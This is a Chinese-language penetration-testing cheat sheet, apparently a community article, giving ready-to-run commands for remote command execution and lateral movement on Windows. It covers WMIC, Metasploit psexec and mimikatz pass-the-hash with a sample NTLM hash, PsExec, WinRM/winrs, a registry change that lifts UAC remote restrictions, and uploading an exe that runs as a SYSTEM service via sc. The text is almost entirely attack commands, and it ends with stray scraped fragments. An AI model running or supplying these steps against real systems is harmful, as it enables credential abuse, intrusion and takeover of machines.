WMI 135
Winrm 5985(HTTP)&5986(HTTPS)
# 二、9种远程执行cmd命令的方法：
## 1.WMI执行命令方式,无回显：
wmic /node:192.168.1.158 /user:pt007 /password:admin123 process call create "cmd.exe /c ipconfig>d:\result.txt"
## 2.使用Hash直接登录Windows（HASH传递）
抓取windows hash值,得到administrator的hash：
598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF
msf调用payload：
use exploit/windows/smb/psexec
show options
set RHOST 192.168.81.129
set SMBPass 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF
set SMBUser Administrator
show options
run
## 3\. mimikatz传递hash方式连接+at计划任务执行命令：
mimikatz.exe privilege::debug "sekurlsa::pth /domain:. /user:administrator /ntlm:2D20D252A479F485CDF5E171D93985BF" //传递hash
dir \\192.168.1.185\c$
## 4.WMIcmd执行命令,有回显：
WMIcmd.exe -h 192.168.1.152 -d hostname -u pt007 -p admin123 -c "ipconfig"
程序下载地址：
<https://github.com/nccgroup/WMIcmd/releases>
## 5.Cobalt strkie远程执行命令与hash传递攻击
## 6.psexec.exe远程执行命令
psexec /accepteula //接受许可协议
sc delete psexesvc
psexec \\192.168.1.185 -u pt007 -p admin123 cmd.exe
## 7.psexec.vbs远程执行命令
cscript psexec.vbs 192.168.1.158 pt007 admin123 "ipconfig"
## 8.winrm远程执行命令
//肉机上面快速启动winrm服务，并绑定到5985端口：
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
netstat -ano|find "5985"
//客户端连接方式：
winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 "whoami /all"
winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 cmd
//UAC问题,修改后，普通管理员登录后也是高权限:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 "whoami /groups"
## 9.远程命令执行sc
//建立ipc连接(参见net use + at)后上传等待运行的bat或exe程序到目标系统上，创建服务（开启服务时会以system
权限在远程系统上执行程序）：
net use \\192.168.17.138\c$ "admin123" /user:pt007
net use
dir \\192.168.17.138\c$
copy test.exe \\192.168.17.138\c$
sc \\192.168.17.138 create test binpath= "c:\test.exe"
sc \\192.168.17.138 start test
sc \\192.168.17.138 del test | 社区文章 |
Subsets and Splits